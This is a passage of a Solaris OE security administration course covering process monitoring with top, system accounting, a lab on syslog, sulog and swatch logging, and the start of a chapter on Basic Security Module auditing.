example, someone logging in over the network) to run programs, such as
who and finger, is a security risk. Information about user names can be
used by a potential intruder as the basis for an attack on your system.
As the system administrator in charge of security, you should run these
commands on a regular basis to monitor user activity.
Caution All these commands can be modied by an experienced
intruder. For example, who and finger use the /var/adm/utmpx le,
which should be protected from user modication. Also, a process
argument list can be modied to disguise its name and command line
parameters, which can change the information displayed by the ps
command.
Table 2-4 Solaris OE Tools
Tool Description
who Displays who is on the system
whodo Displays who is doing what on the system
w Displays who is on the systemand what they are
doing
last Displays user login and logout information
finger Displays information about local and remote
users
ps Reports process status
prstat Continuously displays process information
sorted by Central Processing Unit (CPU)
utilization
sdtprocess Displays process information which can be
sorted in a number of different ways
kill Terminates or signals a process
vmstat Provides virtual memory statistics
sar Reports on system activity
Process Monitoring Using the topTool
The top tool is a program that provides continual reports on the state of
the system. The top tool provides a list of the top CPU-using processes.
The top tools primary design goals are to:
G Provide an accurate snapshot of the system and process state
G Not be one of the top processes
G Be as portable as possible
The top tool includes an installation conguration script called
Configure, which must be run before compiling the top tool. The
Configure script helps choose the correct installation parameters. You
can also obtain the top tool precompiled from the Sun Freeware Web site
(see Additional Resources on page 2-3), which avoids the need to
modify the Configure script.
The top tool provides a list of the top CPU-using processes, as shown in
Code 2-4.
Code 2-4 Example top Output
last pid: 375; load averages: 0.51, 0.54, 0.24 11:53:56
39 processes: 38 sleeping, 1 on cpu
CPU states: 99.0% idle, 0.4% user, 0.2% kernel, 0.4% iowait, 0.0% swap
Memory: 256M real, 183M free, 28M swap in use, 679M swap free
PID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND
368 root 1 48 0 1824K 1144K cpu 0:00 1.24% ksh
340 root 1 59 0 17M 9656K sleep0:01 0.18% Xsun
259 root 6 0 0 2648K 1968K sleep0:01 0.08% vold
356 root 4 59 0 7776K 4920K sleep0:00 0.08% dtgreet
366 root 1 54 0 1760K 1272K sleep0:00 0.04% in.telnetd
202 root 8 43 0 3480K 1776K sleep0:00 0.03% syslogd
375 root 1 50 0 2520K 1576K sleep0:00 0.03% top
278 daemon 4 58 0 10M 5288K sleep0:00 0.02% dwhttpd
363 root 1 58 0 1592K 824K sleep0:00 0.02% in.comsat
177 root 1 45 0 2648K 1912K sleep0:00 0.02% inetd
342 root 17 58 0 2424K 1952K sleep0:00 0.02% mibiisa
341 root 4 51 0 5128K 2520K sleep0:00 0.01% dtlogin
1 root 1 58 0 776K 312K sleep0:00 0.01% init
325 root 7 44 0 3256K 2024K sleep0:00 0.01% dmispd
327 root 3 48 0 4920K 2056K sleep0:00 0.01% dtlogin
Note The top tool requires read access to all les in the /proc
directory, the memory les /dev/kmem and /dev/mem, and the system
image /vmunix. This means that the top tool must be installed with the
setuid set to root or only be executable by the root user.
For more information on the top tool, go to:
http://www.groupsys.com/top.
The Solaris OE Accounting Package
The Solaris OE accounting package is a suite of programs developed to
provide information about system use, which allows users to be billed for
the amount of system resources they use. Solaris OE accounting consists
of programs and shell scripts that collect data about system use. Solaris
OE accounting also provides several analysis reports.
From a security standpoint, the accounting package is another system
monitoring tool. Only those aspects of accounting which pertain to
security are covered in this module. Refer to the manual pages in a Solaris
OE if you want to use these facilities for billing purposes.
Why Use the Accounting Package?
The accounting package helps system administrators with the following
functions:
G Monitoring system usage
G Troubleshooting
G Monitoring system capacity and performance
G Ensuring data security
The accounting package produces a number of data collection, summary,
and report les. You can review these les just like other system log les.
Not all les are in plain text, but programs supplied with the accounting
package can format data les and produce reports (see Accounting
Programs on page 2-30).
Process Accounting
Each time a program exits, the accounting kernel places an entry in the
/var/adm/pacct le. The entry contains the following information:
G User identier (UID) and group identier (GID)
G Process start and end times
G CPU time split between user and kernel space
G Amount of memory used
G Number of characters read and written
G Command name (eight characters)
G The processs controlling terminal
Use this information to determine what commands a user has executed.
You can use this information after a known attack to determine what the
intruder was doing. You can also use this information to identify
intrusions. For example, you might become suspicious if a user called
uucp is running any command other than uucico.
You must be aware that process accounting only writes an entry to the le
after a process exits. Long-running processes, such as password crackers,
do not appear until they complete. This means that process accounting
can only detect attacks after the event.
Caution Process accounting is not auditing. Arguments to commands
are not stored, so it is impossible to track what les or data might have
been modied. Also, process accounting might record a user running vi,
but you cannot determine whether the user is running the standard vi
program or a different program renamed vi.
Working With the Accounting Package
The accounting package contains programs that are usually run on a
regular basis. These programs use information stored in various
accounting les to generate reports and summaries.
Accounting Programs
Accounting programs are generally placed in an administrative crontab
le. An example crontab entry is shown in Setting Up Accounting on
page 2-35. A crontab entry summarizes and analyzes the collected data,
then deletes the /var/adm/pacct le. Table 2-5 lists the accounting
programs and their uses.
Table 2-5 Accounting Programs
Program
Name
Description
ckpacct Prevents excessive growth (more than 500 KB) of
the /var/adm/pacct le to avoid unnecessarily
high compute times during summarizing.
Accounting is halted when free space drops below
500 KB in the /var/adm directory.
dodisk Scans the disk and generates a summary of the disk
space currently in use.
runacct Summarizes the raw data collected over the day,
deletes the raw data les, and calls the prdaily
command to create a report of the previous days
activities.
monacct Generates an overall total from the days totals, and
creates a summary report for the entire period.
Additionally, the daily reports are deleted and the
summary les reset to zero. As its name suggests, it
is intended for monthly accounting but you can use
other accounting periods.
Table 2-5 Accounting Programs (Continued)
Program
Name
Description
The accounting suite includes several commands. The most useful (from a
security standpoint) are shown in Table 2-6.
File Locations
The shell scripts and binaries are located in the /usr/lib/acct directory,
and the data and report analyses are stored in the /var/adm/acct
directory.
Table 2-6 Accounting Commands
Command Description
lastlogin Lists all known user names and the date when these
users last logged in.
prdaily Generates the daily report from the summaries
created by the runnactand dodiskcommands. The
report is located in the
/var/adm/acct/sum/rprtmmdd le, where mmdd
are the month and the day of the report. Usually this
command is run by the runnact command from
crontab entries for the user administrator. See
Setting Up Accounting on page 2-35.
acctcom Takes input in the format found in the
/var/adm/pacct le (or other process accounting
les) and generates a report on standard output.
You can use various options to format and
summarize data.
lastcomm Displays command execution information from the
/var/adm/pacctle in reverse chronological order.
You can use arguments to restrict the report to
single users, commands, terminal lines, or between
certain times.
Types of Accounting Files
Accounting maintains two types of les, collection and summary:
G Collection files Files containing raw data that is appended by the
current process or kernel. The collection les are:
G /var/adm/pacct Contains an entry le each time that a
process terminates.
G /var/adm/wtmpx Contains information on logins and logouts
as well as boot operations and shutdowns.
G /var/adm/acct/nite/disktacct Entries in diskacct are
generated by dodisk.
G /var/adm/fee Used by charging programs
G Summary files and report files Many files that contain only
summaries. Reports are created from the summary les. The
summary and report directories are:
G /var/adm/acct/sum Contains daily summary les and
reports
G /var/adm/acct/fiscal Contains monthly analyses and
summary les
Setting Up Accounting
Accounting is installed with the standard Solaris OE installation. To
ensure that it starts automatically at boot time, follow these steps:
1. Install the /etc/init.d/acct script as the start script and at run
level 2.
# ln /etc/init.d/acct /etc/rc2.d/S22acct
2. Install the/etc/init.d/acct script as the stop script and at run
level 0.
# ln /etc/init.d/acct /etc/rc0.d/K22acct
# ln /etc/init.d/acct /etc/rc1.d/K22acct
# ln /etc/init.d/acct /etc/rcS.d/K22acct
3. Modify the crontab les for users adm and root so that the dodisk,
ckpacct, runacct, and monacct programs (if required) start
automatically.
# crontab -l root
30 22 * * 4 /usr/lib/acct/dodisk
# crontab -l adm
0 * * * * /usr/lib/acct/ckpacct
30 2 * * * /usr/lib/acct/runacct 2> /var/adm/acct/nite/fd2log
30 7 1 * * /usr/lib/acct/monacct
4. Reboot the system or run the /etc/rc2.d/S22acct start program.
Starting and Stopping the Accounting Package
The init command should start the accounting package automatically.
However, you can start the accounting package manually using the
/usr/lib/acct/startup shell script.
When the accounting package is started, a new /var/adm/pacct le is
created. The old le is renamed /var/adm/pacctN, where N is an integer
that is incremented each time the pacct le is replaced.
Note Accounting can consume vast amounts of disk space on busy
systems. Make sure that adequate space is provided in the /var/adm
directory and that the overnight batch programs described in
Accounting Programs on page 2-30 are run to summarize data on a
daily and monthly basis. Accounting switches off automatically if the
/var/adm directory runs short of space.
You can stop the accounting package using the command:
/usr/lib/acct/shutacct ["reason for stopping"]
This command writes an entry (including the reason, if supplied) in the
/var/adm/wtmpx le.
Exercise: Using Logging as a Security Tool
G Study standard log les and tool output looking for potential
security issues
G Enable higher levels of logging for authorization activities
G Enable system accounting
Preparation
Ensure that you have installed the GNU C++ compiler and the make
utility.
Tasks
The rst two tasks ask you to look at log les to determine if there are any
potential security problems. (Hint: Because this is a security course, you
can expect there to be problems the trick is to identify what the
problems are.)
The remaining tasks ask you to add different levels of logging to your
system. If you are not condent about what to do having studied the
question and read the online manual pages, then step-by-step instructions
are provided in the answers section at the end of this module.
You are not required to nish all of the tasks in the time allocated by the
instructor.
Task Sample sulog Commentary File
Study the sample /var/adm/sulog le on your system to identify
possible security problems.
Task Studying Processes
Look at the following output from the top command:
last pid: 668; load averages: 0.29, 0.07, 0.04
09:59:01
41 processes: 39 sleeping, 1 running, 1 on cpu
CPU states: 0.0% idle, 99.0% user, 1.0% kernel, 0.0% iowait, 0.0%
swap
Memory: 256M real, 175M free, 34M swap in use, 672M swap free
PID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND
667 root 1 40 0 6512K 6080K run 0:18 59.36% john
668 root 1 58 0 2520K 1576K cpu 0:00 0.95% top
480 root 1 58 0 976K 712K sleep 0:00 0.87% cracker
367 root 1 48 0 1824K 1144K sleep 0:00 0.03% ksh
378 root 1 48 0 1824K 1152K sleep 0:00 0.02% ksh
341 root 12 58 0 2384K 1912K sleep 0:01 0.00% mibiisa
259 root 6 0 0 2648K 1968K sleep 0:01 0.00% vold
339 root 1 59 0 17M 9704K sleep 0:01 0.00% Xsun
257 root 1 23 0 1576K 688K sleep 0:00 0.00% cimomboot
183 root 1 31 0 1896K 1264K sleep 0:00 0.00% lockd
53 root 7 33 0 1280K 784K sleep 0:00 0.00% devfseventd
277 daemon 3 34 0 9704K 2488K sleep 0:00 0.00% dwhttpd
376 root 1 38 0 1760K 1280K sleep 0:00 0.00% in.telnetd
55 root 3 42 0 2288K 936K sleep 0:00 0.00% devfsadm
202 root 8 43 0 3480K 1768K sleep 0:00 0.00% syslogd
324 root 5 44 0 3160K 2080K sleep 0:00 0.00% dmispd
Do any of these processes need further investigation?
Task Enabling the Syslog Facility to Report su
Command Activity
In this task, you congure system logging to report use of the su
command.
1. Read the Solaris OE manual pages for the su and syslog.conf
commands to enable logging of su authentication to a new log le
called /var/adm/sc300log. You must create this log le before
reconguring the syslogd facility:
touch /var/adm/sc300log
2. To test your changes, use the su command to change to another user
(such as alice), and then use su again to change identity to root,
but supply a wrong password, and then check these les:
/var/adm/sc300log
/var/adm/sulog
Task Enabling the Syslog Facility to Report Failed
Login Activity
In this task, you congure system logging to report failed login attempts.
1. Read the Solaris OE manual pages for the login and syslog.conf
commands to enable logging of failed login attempts.
2. Use telnet to login to your workstation as any user but supply an
invalid password, and then check the sc300log le.
Task Enabling ftp to Report Logins
In this task you will congure system logging of ftp logins.
1. Read the Solaris OE manual page for the in.ftpd command and
enable ftp to report user logins (you must update the
/etc/syslog.conf and /etc/inetd.conf les).
2. Run ftp to connect to your workstation. Check that an entry appears
in the /var/adm/sc300log le.
Task Using the swatch Tool
Because this is the rst third-party tool that you congure, this task takes
you through the process one step at a time. The swatch tool is a little
more complex to install than most tools.
The swatch download site is listed in Additional Resources on
page 2-3. A copy of the download le (swatch.tar) is also in the
/usr/local/pkg directory.
The swatch tool is a Perl program which uses some standard Perl CPAN
libraries which are not included in the swatch.tar le. These can be
downloaded from http://www.perl.com. The required modules are:
Time::HiRes
Date::Calc
Date::Format
File::Tail
These modules are also included in the /usr/local/pkg directory.
To install the Perl modules:
1. Create a working directory called /usr/local/cpan and unpack the
Perl modules into that directory:
# mkdir -p /usr/local/cpan
# cd /usr/local/cpan
# tar -xof ../pkg/Date-Calc-4.3.tar
# tar -xof ../pkg/File-Tail-0.98.tar
# tar -xof ../pkg/TimeDate-1.10.tar
# tar -xof ../pkg/Time-HiRes-01.20.tar
You have created four subdirectories, one for each module.
2. Change directory (cd) to each directory, and then run the following
commands to build and install the Perl modules:
# cd perl-module-directory
# perl Makefile.PL
# make
# make test
# make install
3. Install the swatch tool in the /usr/local directory:
# cd /usr/local
# tar xvf pkg/swatch.tar
This creates a subdirectory called swatch-3.0.1.
4. Before continuing, read the README le in the swatch directory but
do not perform any of the actions in the README le. Follow these
steps and compare these instructions to those in the swatch README
le.
# cd /usr/local/swatch-3.0.1
# perl Makefile.PL
# make
# make test
# make install
# make realclean
5. The swatch tool requires a conguration le to determine what to
look for and how to react to what is found (for example, send a
message, email, or execute a program). You can nd example
conguration les in the /usr/local/swatch-3.0.1/examples
directory. As a test, create a le called ~/.swatchrc with the
following contents:
1 #bad logins
2 watchfor /auth.crit|auth.notice/
3 echo inverse
4 bell 2
5 write root
This le uses the write command to notify all root logins about bad
logins or failed su command attempts.
6. Start the swatch utility to monitor the output from the
/var/adm/sc300log le created in the previous exercises using:
./swatch -t /var/adm/sc300log
7. Use the telnet or su commands from another shell window to
attempt to break-in to the system (use a bad password so that the
attempt fails). It might take a couple of minutes before the swatch
message appears in the swatch window and all other shell windows
owned by the root user. The swatch utility polls the log les on a
regular basis (approximately every two minutes), so you will not see
any response until the next polling interval.
Task Starting Process Accounting
Follow the steps below, which ensure that accounting starts at boot time
and that accounting programs run automatically:
1. Enable accounting startup and shutdown as part of the system boot
process:
# cd /etc
# ln init.d/acct rc2.d/S22acct
# ln init.d/acct rc1.d/K22acct
# ln init.d/acct rcS.d/K22acct
# ln init.d/acct rc0.d/K22acct
2. Manually start accounting:
# sh /etc/init.d/acct start
3. Add report generation commands to the crontab entry for the adm
user:
# crontab -e adm
# controls account file size
30 3 * * * /usr/lib/acct/ckpacct
# process daily report data
30 4 * * * /usr/lib/acct/runacct 2> /var/adm/acct/nite/fd2log
# generate monthly reports
30 5 1 * * /usr/lib/monacct
4. Add the disk report command to the root crontab entry:
crontab -e
# generate raw disk usage report
30 23 29 * 6 /usr/lib/acct/dodisk
You can view the accounting reports tomorrow after the overnight
jobs have generated the summary data. Currently you can view the
process accounting le using the acctcom command, which
summarizes process data for all processes started since accounting
was enabled.
5. Try the following commands:
# acctcom | more
# acctcom -n vi | more
# acctcom -n ksh | more
# acctcom -r -n ksh| more
# acctcom -k -n ksh| more
Read the Solaris OE manual pages for the acctcom command for
more information and additional command-line options.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following show example sulog les and indicate the potential
security threats that you should have identied.
Sample sulog Commentary File
1 SU 02/28 16:31 + console root-daemon
3 SU 02/28 16:55 + pts/4 root-bob
4 SU 02/28 17:00 + pts/4 root-alice
5 SU 02/28 17:02 + pts/4 root-eve
This is testing the account setup for bob, alice, and eve:
6 SU 02/28 17:07 + pts/5 bob-root
11 SU 04/05 08:59 + pts/2 bob-root
12 SU 04/05 09:13 - pts/2 bob-alice
Why is user bob using the su command to try to access the alice
account?
14 SU 04/10 09:24 + pts/2 bob-root
15 SU 04/10 09:25 + pts/2 root-alice
Here is user bob again. Should he have root access and why is he using
the su command to try to become the user alice?
16 SU 04/10 10:14 + pts/2 bob-root
17 SU 04/10 11:24 + pts/3 alice-root
18 SU 04/10 14:46 + pts/2 bob-root
19 SU 04/10 14:46 + pts/2 bob-root
21 SU 04/12 14:42 + pts/2 alice-root
22 SU 04/12 14:42 + pts/2 alice-root
23 SU 04/12 14:43 + pts/2 root-bob
24 SU 04/12 14:43 - pts/4 eve-root
Exercise Solutions
Why is there no successful use of the su command by the user eve
shown? Was the attempt a mistake or did the eve user think she had the
root password?
25 SU 04/12 15:10 + pts/3 bob-root
26 SU 04/12 15:25 - pts/2 alice-root
27 SU 04/12 15:25 + pts/3 bob-root
28 SU 04/12 15:25 - pts/3 alice-root
29 SU 04/12 15:26 + pts/3 alice-root
After three tries, alice remembers the root password.
31 SU 04/13 09:34 - pts/4 eve-root
32 SU 04/13 09:34 - pts/4 eve-root
33 SU 04/13 09:34 - pts/4 eve-root
34 SU 04/13 09:34 - pts/4 eve-root
35 SU 04/13 09:35 - pts/4 eve-root
36 SU 04/13 09:35 - pts/2 bob-root
37 SU 04/13 09:35 - pts/4 eve-root
38 SU 04/13 09:35 + pts/2 bob-root
It took two attempts before user bob successfully used the su command to
become the root user.
39 SU 04/13 09:35 - pts/4 eve-alice
40 SU 04/13 09:35 - pts/4 eve-alice
41 SU 04/13 09:36 - pts/4 eve-alice
It looks like eve is trying to break into the system.
Studying Processes
The rst line shows a CPU-intensive process called john. This is a naive
user running John the Ripper, a well-known password-cracking program.
Note A sophisticated user would have disguised the program name and
taken steps to reduce the CPU footprint by lowering the process priority.
Perhaps less obvious than John the Ripper is the program cracker which
uses less CPU time than the top tool. This is the infamous crack program
which also attempts to break passwords; the crack program runs at a
lower priority so it is not as obvious (but does take longer to detect
passwords). Often the cracker process does not even appear in the top 20
processes listed.
Exercise Solutions
The remaining processes are all standard system processes. How do you
know this? Only with experience and comparison of top output from
different systems.
Enabling the Syslog Facility to Report su Command
Activity
The following are the steps necessary to enable logging of su command
activity:
1. Add the following line to the /etc/syslog.conf le:
auth.crit;auth.notice;auth.info /var/adm/sc300log
2. Create the log le and recongure the syslogd facility:
# touch /var/adm/sc300log
# kill -HUP pid for syslogd
3. Check that the /etc/default/su le has:
SYSLOG=YES
Enabling the Syslog Facility to Report Failed Login
Activity
The following are the steps necessary to enable logging for failed logins:
1. Ensure that the /etc/syslog.conf le contains the following line
from the previous exercise:
2. Check that the /etc/default/login le has:
SYSLOG=YES
SYSLOG_FAILED_LOGINS=0
Exercise Solutions
Enabling ftp to Report Logins
The following are the steps necessary to enable logging for ftp logins:
1. Update the /etc/syslog.conf le so that the new log line reads:
auth.crit;auth.notice;auth.info;daemon.info /var/adm/sc300log
2. Edit the /etc/inetd.conf le to set the ftp line to include a -l
switch:
ftp stream tcp6 nowait root /usr/sbin/in.ftpd in.ftpd -l
3. Send the hang-up signal to the inetd daemon to get it to reread its
conguration le:
kill -HUP pid for inetd
Using the swatch Tool
Starting Process Accounting
3-1
Module 3
TheSolarisOEBasicSecurityModule
Objectives
G Implement auditing using the Solaris OE Basic Security Module
(BSM)
G Use the BSM to log user and kernel events
G Locate and congure the necessary administrative les to implement
device allocation functionality
G Allocate and de-allocate shared devices
Relevance
Relevance
?
!
Discussion The following questions are relevant to understanding
security in the Solaris OE:
G The Solaris OE has many built-in utilities that can log user activities.
Is there a need for something more? In particular, can you track, in
detail, a specic users activities?
G Your systems might have numerous attached devices such as tape
drives and oppy disk drives. Can you foresee dangers in allowing
unrestricted access to these devices?
G Can you prevent users from overwriting your backup tapes
when they are in the tape drive?
G Can you prevent non-trusted user access to your removable
media devices?
G Can you ensure the validity of data copied onto removable
media?
The Solaris OE Basic Security Module 3-3
G Solaris OE system administration collection. SunSHIELD Basic
Security Module Guide. Part Number 806-1789-10.
G Solaris OE AnswerBook, Version 2.
G Solaris OE manual pages allocate(1M), attributes(5),
auths(1), audit(1M), auditd(1M), auditconfig(1M),
audit.log(4), audit_class(4), audit_control(4),
audit_user(4), audit_warn(1M), auditreduce(1M),
bsmconv(1M), deallocate(1M), device_allocate(4),
device_maps(4), dminfo(1M), list_devices(1M), and
praudit(1M)
Solaris OE Basic Security Module Auditing
The Solaris OE can be congured to be Orange Book compliant at the C2
level of trust. One of the C2 requirements is that a comprehensive level of
activity auditing takes place.
Auditing makes it possible to:
G Monitor security-relevant events that take place on the system
G Record the events in an audit trail
G Detect misuse or unauthorized activity (by analyzing the audit trail)
Auditing can also serve as a deterrent. If users know that their actions are
likely to be audited, they might be less likely to attempt malicious
activities. The SunSHIELD Basic Security Module (BSM) provides an
auditing utility that can produce C2-level logging.
Successful auditing depends on two security features: identication and
authentication. At login, after a user supplies a user name and password,
a unique audit ID is associated with the user's initial process. The audit ID
is inherited by every process started during the login session. Even if a
user changes identity with the su command, all actions performed are
tracked with the same audit ID. During system conguration, you select
which activities to monitor, and ne-tune the degree of auditing done for
individual users.
After audit data is collected, audit-reduction and interpretation tools allow
the examination of interesting parts of the audit trail. For example, you
can choose to look at audit records for individual users or groups, look at
all records for a certain type of event on a specic day, or select records
generated at a certain time of day.
Note Use caution when choosing what to audit. The volume of data
BSM produces can be an issue due to the large amount of disk space
required for fully detailed logging.
In addition to process-based security risks, there are security risks
associated with access to data stored on various input/output (I/O)
devices. BSM has a device-allocation mechanism that allows an
administrator to restrict the ways in which such devices are used and
therefore minimize the security risks. The BSM device-allocation
mechanism fullls the object reuse requirements for computing systems at
the C2 level.
Identifying Major BSM Components
BSM has two logical subsystems, security auditing and device allocation:
G Security auditing:
G Depends on identication and authentication
G Assigns a unique audit ID per session
G Records user activity
G Can select users, activities, or both to audit
G Device allocation:
G Controls access to devices
G Prevents unauthorized reading of, or writing to, physical media
Using Security Auditing
The security auditing feature is best understood when examined from a
component level. The primary component of this subsystem is a daemon
process known as /usr/sbin/auditd.
The major functions performed by the auditd daemon are to:
G Open and close audit log les in specied directories
G Extract audit data from the kernel and record it in an audit log
G Communicate administrative or operational failures using the
/etc/security/audit_warn script
A command-line interface handles administrative controls.
Categorizing Audit Events
Any system action capable of being audited is a BSM audit event. These
events are usually initiated by the logged-in user and might have security
relevance. All audited events are one line entries in the
/etc/security/audit_event le. These audit events are further
categorized as follows:
G Kernel events
G User-level events
Each event is given a:
G Number identier ranging from 1 to 2047 for kernel events, and from
2048 to 65535 for user events.
G Name identier events begin with AUE_ followed by either a
sequence of uppercase letters for kernel events or by a sequence of
lowercase letters for user events.
For example, the event number for the creat()system call is 4 and the
event name is AUE_CREAT, while the event number for the user program
inetd is 6151 and the event name is AUE_inetd_connect.
Assigning Events to Audit Classes
Each audit event belongs to one or more audit classes. You can congure
the audit subsystem to log only certain classes of events. Assigning events
to classes makes it easier to handle large numbers of events. When you use
a class, you address all of the events in that class.
Thirty-two possible classes can be dened for grouping audit events.
Eighteen are dened by default inside the /etc/security/audit_class
le. You can add new classes up to the maximum of 32.
Interpreting Audit Records
When auditing is enabled, audit records are collected in a trail. The trail is
a binary le often referred to as the audit.log le; however, the literal
le name is identied by the contents of the /etc/security/audit_data
le. The logs are usually kept in the /var/audit directory.
Each audit record describes the occurrence of a single audited event.
These records contain the following information:
G What user initiated the action or event
G What action was attempted
G Which les were affected
G Where and when it occurred
Note See the SunSHIELD Basic Security Module Guide and the
Solaris OE manual pages about the audit.log le for more information
regarding the interpretation of all of the elds.
Enabling BSM
The steps required to set up the environment for auditing are:
1. Execute the /etc/security/bsmconv utility.
# cd /etc/security
# ./bsmconv
2. Edit the /etc/security/audit_startup le, if required.
Use the auditconfig utility to set the kernel policy +cnt. Here
processes are not suspended when audit resources are exhausted.
Instead, audit records are dropped.
# cat audit_startup
#!/bin/sh
auditconfig -setpolicy +cnt
3. Reboot your operating system.
If you use device allocation there is a conict with BSM and the vold
volume management daemon. To avoid this conict, the bsmconv script
moves the volmgt daemon out of the rc2.d start-up scripts. Do not run
vold and BSM because the device allocation mechanisms conict.
Caution The bsmconv script adds a line to the /etc/system le to
disable the ability to abort the system using the Stop-A keyboard
sequence. To retain the ability to abort the system using the Stop-A
keyboard sequence, comment out the line that reads set abort_enable
= 0 in the /etc/system le.
The bsmconv script creates a script that automatically starts the auditd
daemon process during system initialization. The le name for this script
is /etc/security/audit_startup.
This script assists in providing default conguration and audit policy
information. The /etc/security directory represents the anchor
directory for the auditd process.
The following audit_startup le uses the auditconfig utility to set the
kernel policy +cnt. This policy ensures that processes are not suspended
when audit resources are exhausted. Instead, audit records are dropped.
# cat audit_startup
#!/bin/sh
auditconfig -setpolicy +cnt
See the Solaris OE manual page covering the auditconfigutility for more
information on setting audit parameters.
Disabling BSM
To disable BSM:
1. Use the /etc/security/bsmunconv utility.
2. Reboot the system.
This script removes the audit_startup script, removes cron and at
jobs, and restores the volume management init.d le.
Caution The bsmunconv script removes the line in the /etc/system
le that disables the ability to abort the system using the Stop-A keyboard
sequence. If you want the ability to abort the system using the Stop-A
keyboard sequence after running the bsmunconv script to remain disabled,
reenter a line that reads set abort_enable = 0 in /etc/system.
Creating an Audit Trail Using BSM
Before you initiate auditing, you must congure what gets audited, both
system wide and for individual users.
Setting Audit Flags
Audit ags indicate classes of events to audit. System wide defaults for all
users are in the /etc/security/audit_control le. In addition, you can
customize what gets audited at the user level. This level of customization is
dened in the le /etc/security/audit_user le.
The audit_control Log Entries
The audit_control le contains a series of conguration lines. Each line
is colon separated with the rst eld dening a congurable parameter
and the second eld dening a parameter-specic conguration.
The audit_controlFlag Entries
Table 3-1 shows example conguration parameters.
Table 3-1 Audit Control Parameters
Control Description
dir Directory in which to store audit logs. Can be
specied multiple times to dene alternate audit log
directories.
minfree Remaining percentage of free space allowed in an
audit directory before switching to an alternate
directory.
flags Comma-separated list of audit ags enabled for
actions that can be assigned to a specic user.
naflags Comma-separated list of audit ags enabled for
actions that cannot be assigned to a specic user.
Table 3-2 shows some examples of audit ags that correspond to default
classes.
Table 3-2 Audit Flags
Short Full name Description
fr file_read Reading data, opening a le for
reading, and so on
fw file_write Writing data, opening a le for
writing, and so on
fa file_attr_acc Access of object attributes:
stat, pathconf, and so on
fm file_attr_mod Change of object attributes:
chown, flock, and so on
fc file_creation Creation of object
fd file_deletion Deletion of object
cl file_close A close(2) system call
pc process Process operations: fork, exec,
exit, and so on
nt network Network events: bind,
connect, accept, and so on
ip ipc System V IPC operations
na non_attrib Non-attributable events
ad administrative Administrative actions: mount,
exportfs, and so on
lo login_logout Login and logout events
ap application Application auditing
io ioctl A ioctl(2) system call
ex exec System call
ot other Everything else
all all All ags set
Caution The all ag can generate large amounts of data and ll up
audit le systems quickly, so use it only if you have extraordinary reasons
to audit everything. Even a simple task like compiling a program of
modest size (for example, ve les, 5000 lines total) in less than a minute
could generate thousands of audit records, occupying many megabytes of
disk space.
Table 3-3 shows the prexes that you can use to modify previously set
audit ags.
For example:
all,âd audits all events except administrative actions.
-lo,+fd audits all failed login events and successful le deletions
The audit_control and audit_user conguration les use ags and
prexes, as described in the following two sections.
Table 3-3 Audit Flag Modiers
Prex Denition
^- Turn off this type of auditing for failed
attempts
^+ Turn off this type of auditing for
successful attempts
^ Turn off this type of auditing for both
failed and successful attempts
Conguring the /etc/security/audit_controlFile
The audit daemon reads the audit_control le, which contains audit
ags that control the type of audit records to be logged. Code 3-1 shows
an example audit_control le.
Code 3-1 Example audit_control File
1 # Copyright (c) 1988 by Sun Microsystems, Inc.
2 #
3 #ident @(#)audit_control.txt 1.3 98/06/20 SMI
4 #
5 dir:/var/audit
6 dir:/etc/security/audit
7 flags:lo
8 minfree:20
9 naflags:lo,nt
Line 5 species that the data is stored in the /var/audit directory. In
Line 7, the flags eld has been set to log only login and logout activity
on the system. The minfree eld on Line 8 species that when only
20 percent of the audit data space is available (the le system where the
directory resides is 80 percent full) the audit_warn shell script noties the
administrator to archive or delete the audit data in the /var/audit
directory. You could edit the audit_warn shell script so that it takes
action, such as compressing or moving les.
If more than one directory is specied with the dir eld (as in Lines 56
of Code 3-1 on page 3-19) when the minfree level is reached, auditd
switches to the next directory in the le. When none of the directories in
the list have enough minfree space left, the daemon starts again from the
beginning of the list and picks the rst accessible directory with space
available until the underlying directory size limit is reached.
By default, if all audit le systems ll up, the audit_warn issues warnings
and the audit daemon remains in a loop sleeping and checking for space
until space is freed. While there is no space, all auditable actions are
suspended. To free up space, you might choose to dene a user with no
attached auditing actions. Restrict this users ability to move or archive log
les.
Note Sometimes losing audit data is better than having system
activities suspended due to audit trail overow. You can build automatic
deletion, move audit les into the audit_warn script, or you can set the
auditconfig policy to drop audit records when the auditing facility runs
out of space.
The naflags eld in Line 9 of Code 3-1 on page 3-19 contains the audit
ags that dene what classes of events are audited when an action cannot
be attributed to a specic user.
Conguring the /etc/security/audit_userFile
The /etc/security/audit_user le lets you customize what is
audited at the user level. Use this le to audit some users differently from
others.
Three elds for each user are stored in the audit_user le entry. These
elds are stored on a single line and separated with colons. The rst eld
is the username, the second eld is the always-audit eld, and the third
is the never-audit eld. The two auditing elds are processed in
sequence, so auditing is enabled by the rst eld and turned off by the
second.
Code 3-2 shows an example of an entry in the audit_user le:
Code 3-2 Example audit_user File
2 #
3 root:all:fr
4 audit:no:
This entry species that all events by the root user (except successful le
system reads) are audited.
Note Avoid leaving the all ag set in the never-audit eld. This ag
turns off all auditing for the user, overriding the ags set in the
always-audit eld.
Generating an Audit Trail
The audit daemon auditd creates and maintains the audit trail. The
auditd daemon collects audit trail data and writes it to the les specied
in the /etc/security/audit_control le. The audit trail les are the
audit.log les.
Assessing the Responsibilities of the auditd Daemon
The auditd daemon performs the following tasks:
G Creates audit log les, in the order in which they are specied, in the
directories specied in the audit_control le
G Reads audit data from the kernel and writes it to an audit log
G Executes the audit_warn script when the audit directories ll past
limits specied in the audit_control le
Warning If you use the default system conguration, all processes that
generate audit records are suspended when all audit directories are full.
To avoid such suspension, ensure that you do not run out of disk space for
auditing by conguring the audit scripts to delete or move les as
described earlier or by logging them to a remote system.
The audit daemon runs as the root user account; therefore, all les
created by the auditd daemon are owned by root.
Examining audit.logFiles
Audit data is stored in the directory named in the audit_control le
under a name time-stamped as:
time auditing started.time auditing terminated.host name
A new audit le is created after each reboot. For example, a le produced
on August 13, 2001, on a host named grommit would be named:
20010813213431.20010813221824.grommit
If the le has not terminated, it is named:
20010813222057.not_terminated.grommit
Interpreting the /etc/security/audit_data File
When the auditd daemon starts, it creates the le called
/etc/security/audit_data. The le consists of a single entry with the
two elds separated by a colon (see the audit_data manual page listed in
Additional Resources on page 3-3). The rst eld is the audit daemon's
process ID, and the second eld is the path name of the audit le to which
the audit daemon is writing audit records. Code 3-3 shows an example
le.
Code 3-3 Example /etc/security/audit_data File
# cat /etc/security/audit_data
